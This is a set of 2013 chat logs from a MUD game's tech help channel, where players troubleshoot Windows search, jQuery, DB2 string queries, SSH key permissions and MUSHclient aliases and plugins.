T3/r7/2013-08-20.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Alright, so, on windows 7, my little search bar in the explorer windows doesn't appear to do anything.. Anyone know what might cause that?
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Trachx Tech: where is that 'little search bar' ?
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Xantcha Tech: if Indexing is turned off, it could jsut be really slow because it's searching... I know mine takes forever on a multi-Tb drive if indexing is disabled
T3/r7/2013-08-20.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: I believe I do have indexing off, but I don't believe it's just running slow.. Especially since it's only a 500gb hd. It appears to just have no response other than the magnifying class turning into an x.
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Trachx Tech: check search providers, Tools -> Manage add-ons
T3/r7/2013-08-20.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Windows Explorer, not Internet Explorer..
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Trachx Tech: right, now I also see little search window :) I was wondering where in IE was that window
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Trachx Tech: anyway, do you see any hdd activity ?
T3/r7/2013-08-20.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: No more than if I'm not trying to search.
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Trachx Tech: try organize -> folder options  -> search
T3/r7/2013-08-20.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Well renabling the indexing service appears to work.. Seems like it should work without, oh well.
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Quadrapus Tech: Any computer science gurus around?
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Quadrapus Tech: Need some algorithm advice for work
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Turie Tech: 1 + 1 = 10
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Mye Tech: whatever you do, don't let users use english
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Cuddlez Tech: Well I'm studying csci.. but faaarr from being a guru.
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Sonshi Tech: probably would have better luck posting a note... The few gurus around and listening might think that a problem too long to state on channels is likely to be long and boring.
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Ylar Tech: I...have to agree with that.
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Ylar Tech: ack
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Tech: Smart move! Ylar tries to start some discussion about the weather, hoping no one noticed his last mischan.
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Sonshi Tech: a few more specifics might also give a better chance of a response... After all, how many cs people here are familiar with a zillion languages and would have a good chance of knowing how to implement whatever it is you're thinking of...
T3/r7/2013-08-20.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Anyone on freenode IRC?
T3/r7/2013-08-20.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: They ban all TOR exit points, I think, right?
T3/r7/2013-08-21.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: where can i get a script for telling me when a repop occurs?
T3/r7/2013-08-21.txt.gz:{chan ch=tech}HelperMan Hadar Tech: does anyone know if there is a way i can force my jquery to fire when a page is loading up, i have some php variables i will need the jquery to match(like number of fields)
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Xantcha Tech: $(document).ready(function(){ ... insert code here ... })
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Rhuli Tech: dangit xantcha!
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Xantcha Tech: what?
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Rhuli Tech: let my workspace load and you beat me to the answer.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Xantcha Tech: I even took the extra seconds to cursor left and add the "insert" bit
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Rhuli Tech: heh
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Turie Tech: $(Rhuli).unready(needstofastercomputer(){ ... or have the program running already ...})
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Rhuli Tech: Rhuli.orKnowTheAnswerAlready() == false;
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tech: Xantcha chuckles politely.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}HelperMan Hadar Tech: lol i just upgraded the ram in my computer (my windows one which was 64 bit broke so i took one of the 2gb ram chips and put it into this one)
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Xantcha Tech: Well, to be fair, I work with jQuery daily
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tech: Rhuli smiles happily.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Turie Tech: To be fair, I have never coded.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tech: Rhuli sadly closes Eclipse.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Xantcha Tech: Also, Hadar... you might look at using data- attributes... depending on what you'er doing, they may be a cleaner aproach and can be semantically useful
T3/r7/2013-08-21.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im still trying to learn jquery =/ its annoying
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Rhuli Tech: Are you using the documentation websites? They are very useful
T3/r7/2013-08-21.txt.gz:{chan ch=tech}HelperMan Hadar Tech: naw im guessing how things work, thats how i learn to program lol
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Rhuli Tech: well as long as you dont have a deadline
T3/r7/2013-08-21.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its a fun project im doing for myself, at my job we have to turn in weekly schedules and i got bored of hand writing them so i created a web app, im working on V2 of the webapp which lets people login and archives their past schedules, the jquery question was for when i pull them back up so people can edit them(stupid cell phone dead zones make me look like i take forever to type =/)
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tigernuts Tech: any reccommendations for an LED projector?
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: are there any master of SQL queries on strings?
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tigernuts Tech: what do you need to know?
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Mye Tech: (and which platform)
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: i have a table that stores every query performed on my database.  it's trivial to count the number of times a certain object simply appears in the queries.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: but i've been asked to count the number of times an object appears after the select clause, but before the where clause, and count the number of times an object appears after the where clause.  this is in Db2
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: 9.7
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: so given a query performed select a, b, c, d where a, f, g, they want a count of each object's usage.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: it's not so trivial, but possible to simply capture the whole query and maybe manipulate it in excel.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: but i'd prefer to do i in SQl alone.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tigernuts Tech: so you have the whole query stored as a single string?
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: and te strings are of variable length, so i can't really use len
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: err not len, but whatever the locater function is
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tigernuts Tech: could you not use regular expressions?
T3/r7/2013-08-21.txt.gz:{chan ch=tech}HelperMan Hadar Tech: mysql has its own count function
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: i wouldn't know how to use regex in sql actually.  and i don't know if regex works in db2 9.7
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Mye Tech: does db2 allow subselects in the select clause? you probably need to parse the code manually
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: but if regex has an after but before type of statement, that would be perfect
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tigernuts Tech: well i'm only familiar with oracle, but they support regular expressions, and you can use them in pl/sql so it can be quite complicated
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tigernuts Tech: http://pic.dhe.ibm.com/infocenter/db2luw/v9r7/index.jsp?topic=%2Fcom.ibm.db2.luw.xml.doc%2Fdoc%2Fxqrregexp.html
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tigernuts Tech: suggests you can use regexp in db2
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Tigernuts Tech: it would appear the correct tool for the job if you didn't want to extract out and use an external program/code to process it
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: but is that only for xml?
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: i suppose, if i really needed to, I could use excel, do a find on select and where, replacing with something like \select and \where, then do a text to colums.  at that point it is an excel problem.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: but that's a large ass file to be manipulating (one month is 250 MB and i'm doing over 6 months).
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Mye Tech: are you looking for tables or columns?  If columns, it wouldn't be as simple as that -- need to consider * references, qualified column references (perhaps using a table alias and not table name), etc
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: the indiscriminate query looked for like %tablename.column%
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Mye Tech: are you guaranteed all queries are going to fully qualify everything?
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: no, not all queries will have a where clause
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Mye Tech: am asking if all queries will follow the format of fully qualifying the table name for every column (and specifically with the table name not a table alias) .. e.g. SELECT A FROM B will never occur and SELECT X.A FROM B AS X will never occur -- you will only ever have SELECT B.A FROM B
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: actually, it's select scheema.table.column from schema.table every time I beleive.
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Mye Tech: you'll probably need to write a custom function (looks like UDF is what DB2 calls it, and doesn't necessarily need to be written in SQL) .. be careful to properly consider the character before schemaname and the character after columnname and probably can't assume "from" doesn't appear as the first four characters of the schema or last four characters of column
T3/r7/2013-08-21.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: OK, out of my skill set and i can tell the people looking for this information that.  may even be out of the abilities of my team.  we are only allowed to do certain things.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Is there any reason why an sshd config would forget I want to use my key to log in and keep prompting me for a password instead?
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Trachx Tech: permissions
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Which might have been set where?
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Trachx Tech: .ssh dir, authorized_keys or selinux
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Trachx Tech: chmod 700 .ssh, chmod 600 authorized_keys, chown user.group .ssh and authorized_keys
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: The first two are readable and owned correctly.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: They have 744 and 644 but that shouldn't really be an issue.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Trachx Tech: try /sbin/restorecon -r /root/.ssh
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Trachx Tech: if it's root 
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Trachx Tech: those *44 can cause problems IIRC
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Ranrr Tech: Those files should only be readable by user.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Hmm.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: OK, I set them back to 700/600 and it's fine now.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Weird. Why would more relaxed permissions cause a problem?
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Could it indicate someone might be trying to auth using your key?
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Anyway, thanks for the help Trachx and Ranrr.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Ranrr Tech: You don't want someone else to be able to read your key, that would be bad security.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Trachx Tech: it is public key, so doesn't matter whether someone has access to it or not
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I agree with Ranrr, but why would it switch me back down to password authentication?
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Ranrr Tech: true
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: It's not like that would be more secure...
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Ranrr Tech: It's the fallback.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Trachx Tech: .ssh dir can contain more sensitive information, like known_hosts or even private key
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: So it should be enough indication that something elsewhere is wrong, please check your settings?
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Trachx Tech: probably you have executed chmod -R ugo+r /home/user or so
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Trachx, maybe, but that wasn't my question. Ranrr answered it. It's still a little strange though.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Tech: for completeness, the sshd_config file has a StrictModes directive, which defaults to yes. If it is defaulted or expressly set to yes, then sshd will reject using files/directories with "compromised" permissions set. So it's acting as if your ~/.ssh doesn't exist, in which case it falls back to password
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Tech: and that would be more secure than using a possibly-planted key
T3/r7/2013-08-22.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: In mushclient, is there a way to have a variable hold another variable as it's value?
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: canon sucks
T3/r7/2013-08-22.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ih
T3/r7/2013-08-22.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: uh
T3/r7/2013-08-22.txt.gz:{chan ch=tech}Turie Tech: kodak is in Tennessee.
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i have unsubscribed from their marketing emails several times and still get them, and I contacted them directly, and got a response, saying the messages would stop a month ago.. and i have received 13 since then
T3/r7/2013-08-22.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: canon sucks. /rant
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: i have a question
T3/r7/2013-08-23.txt.gz:{chan ch=tech}RedRain Tech: go go
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: i tried getting the winklewinkle spellup plugin and i tried importing it but i got some messages
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: [WARNING] C:\Program Files (x86)\MUSHclient\worlds\plugins\WinkleWinkle_Spellup_2.xml
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: Line    5: Tag not used: <plugin> (muclient)
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: [WARNING] C:\Program Files (x86)\MUSHclient\worlds\plugins\WinkleWinkle_Spellup_2.xml
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: Line  299: Tag not used: <script> (muclient)
T3/r7/2013-08-23.txt.gz:{chan ch=tech}RedRain Tech: you dont "import" them ... you go file, plugins, add (and add 1-3 files depending what you are doing)
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: thank you :D
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: thank you again for the help :D
T3/r7/2013-08-23.txt.gz:{chan ch=tech}RedRain Tech: anytime.
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: i have another question
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: nvm i figured it out
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mushambo Tech: Anyone know about quality of TP-link wireless routers?
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Ranrr Tech: Haven't used their routers, but their switches and wifi stuff is good (for the price).
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Ranrr Tech: Ok for home use, but I wouldn't want to use it for business.
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Ranrr Tech: np
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Ranrr Tech: mis
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: i have a question
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: the answer is 42
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Nuanse Tech: nice to know...do you know what would be even nicer? actual question
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: i download bast and realized that i didnt like it so i took it off but i am still getting information that shows up that i dont want
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: example {invmon}3,1090298221,-1,-1 you sell a demon faced talisman to bribeable officer
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: how do i make it to where the {invmon}3,1090298221,-1,-1 goes away?
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Trachx Tech: help tags
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Amalcon Tech: try 'help tags'
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Ayasinda Tech: type invmon
T3/r7/2013-08-23.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: invmon isn't listen in tags though. :P
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: invmon worked...i think
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: thank you for the help
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: anyone run windows memory diagnostic in the past? looking for an estimated runtime for 256GB of RAM using the extended tests with cache diabled
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tigernuts Tech: shit tons
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: too much
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: best i've seen so far is 8 hours but that was a few years ago
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tigernuts Tech: regardless of memory diagnostic tool, you're looking at days
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: i have ~2.5 days of downtime approved .. that enough?
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tigernuts Tech: couldn't guarantee it
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Not for sure
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tigernuts Tech: can't you split it somehow?
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I'd say 4 days should be enough in 90% of cases, but still couldn't guarantee it to make it.
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tigernuts Tech: shove some pre-tested ram in as a stopgap and test it in your own time?
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tigernuts Tech: or test half of it at a time
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods at Tigernuts.
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: how much for the standard tests you think?
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tigernuts Tech: what sort of ram is it?
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: gimme a sec.. will check the specs
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: looks like a 8x8x4GB sticks at 1.33GHz
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: Run-time error
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: Plugin: Sharptracker205g (called from world: Aardwolf)
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: Immediate execution
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: [string "Trigger: "]:3: attempt to perform arithmetic on global 'mobgoldtotal' (a nil value)
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: stack traceback:
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: [string "Trigger: "]:3: in main chunk
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: You are taxed 137 gold coins by your clan.
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: Run-time error
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: Plugin: Sharptracker205g (called from world: Aardwolf)
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: Immediate execution
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: [string "Trigger: "]:5: attempt to perform arithmetic on global 'mobgoldtotal' (a nil value)
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: stack traceback:
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: [string "Trigger: "]:5: in main chunk
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: what do those runtime errors mean?
T3/r7/2013-08-23.txt.gz:{chan ch=tech}ElFeneri Tech: next time, use pastebin.com and post the link to it
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Don't spam, pastebin or note it next time
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: sorry
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: means you're trying to do math on a variable (mobgoldtotal) that does not exist.
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Unless something recently broke sharptracker, probably just need to reinstall.
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: i just had a doh! moment
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tilson Tech: i think i just need to do the command to start it
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tigernuts Tech: back to your testing, there is no "how long does it take" with memory tests. It  might churn through 256Gb in 2 days, but unless there's a permanent fault, it might not show. You really need to test over multiple passes to track down random/intermittent faults
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Tigernuts Tech: i'd suggest hoiking out half the sticks and testing them in a test rig, need two much shorter sections of down time that way
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Even less w/ multiple rigs
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: thanks .. i'm already approved to have it down the whole and won't have the resources to migrate the hardware physically (i don't have access myself), so when it doesn't finish will put in another request for that :/
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: whole weekend*
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: MS has a sense of humour: "This might take several minutes"
T3/r7/2013-08-23.txt.gz:{chan ch=tech}ElFeneri Tech: they are right in that at least
T3/r7/2013-08-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: ms can make one sick joke from time to time: "installing updates... 300 of 912312 do not turn off the computer". you never know when it does that and sometimes it can be the wrongest moment.
T3/r7/2013-08-23.txt.gz:{chan ch=tech}ElFeneri Tech: or when they decide to reboot the computer for you if you leave if for a little while
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yeah i always choose postpone for 2hrs and 10minutes later... reboot??
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Mye Tech: they hid the "don't reboot after updates" option in group policy
T3/r7/2013-08-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: has anybody used GCCG before?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Eldarik Tech: Hey the gmcp map isnt upp even when I enable or reinstall it please help
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Bamboo Tech: Have you tried re-launching mush?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Eldarik Tech: yes indeed 
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: how are mud maps created and how are room descriptions written
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Ayasinda Tech: most are initially made with pen and paper
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: heyo, anyone have any ideas how to make a mudside alias with multiple commands?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: use ;
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Ayasinda Tech: seperate then with ; I think
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: type alias myalis command1;;command2;;command3 etc
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Vishos Tech: if you're using mushclient you'll need two semicolons not just 1
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: that sends the second comand to the mud instead of it actually sticking in the alias.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: i'm just using the flash client on the aard site at the moment. and i'm trying to set up an alias exactly like the one listed in help semicolon
T3/r7/2013-08-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i always use this as a good example (its useful) alias doors open north;open south;open east;open west;open up;open down
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: hmm
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: for me that just sets up doors to open north then executes the other commands as if i typed them.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: thats how alias work
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Ayasinda Tech: isn't that what you wanted?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: if i type alias doors open north
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Ghargan Tech: no i think he means while setting up the alias it does that
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: Rauche, did you read what I wrote about using ;;?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: yes. it didnt change anything unfortunately.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: do ~
T3/r7/2013-08-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: before the semicolon
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: and what ghargan said is accurate.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: nope that didnt work either :(
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: try typing ";alias doors open north;open south;open east;open west;open up;open down"
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: samething unfortunately.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}StarsOscar Tech: you need to escape the semicolon how to do that depends on your client
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: ElFeneri nods at StarsOscar.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Ayasinda Tech: he uses the flash client on the aardwolf site
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: i tried setting it up in mush, blowtorch, and on the aard flash client.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: all with the same result.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: it works for me with much anyway
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Ayasinda Tech: in mush is easy. You use ;;
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: mush*
T3/r7/2013-08-24.txt.gz:{chan ch=tech}StarsOscar Tech: in mush you just double the semicilons
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Rauche Tech: hmm
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: hey if you were to make a map based arbitrarily on three bits of data how could you make a room
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: depends on what kind of data.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: unless you are asking a trick question, then the answer is you draw it.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: i'm interested in taking raw bits of data from a binary file and making a map out of it
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: and for some reason I keep thinking you only need 3 bits
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Malkar Tech: so for example 101 is a map of sweeden?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: no i mean 3 bits per room
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: what kind of map are you trying to draw?  Like a mud map or something graphical?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: mud map
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: becuse you could use symmetry
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: symmetry?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: yeah like if one bit says east, you would make it go west too
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: areas aren't guarnateed to be laid out on a purely euclidean scale, nor are connections guaranteed to be adjacent.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Malkar Tech: three bits to describe a room might be sort of ok.  you will need more to connect them together. and using 8 bits probably won't make the storage cost go very high.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: are you trying to make your own mud, or are you trying to handle, say, Aardwolf?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: I'm trying to make a map of an .exe file
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: umm, why?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: i don't really know
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: map of an exe file? When you say map, what do you mean?
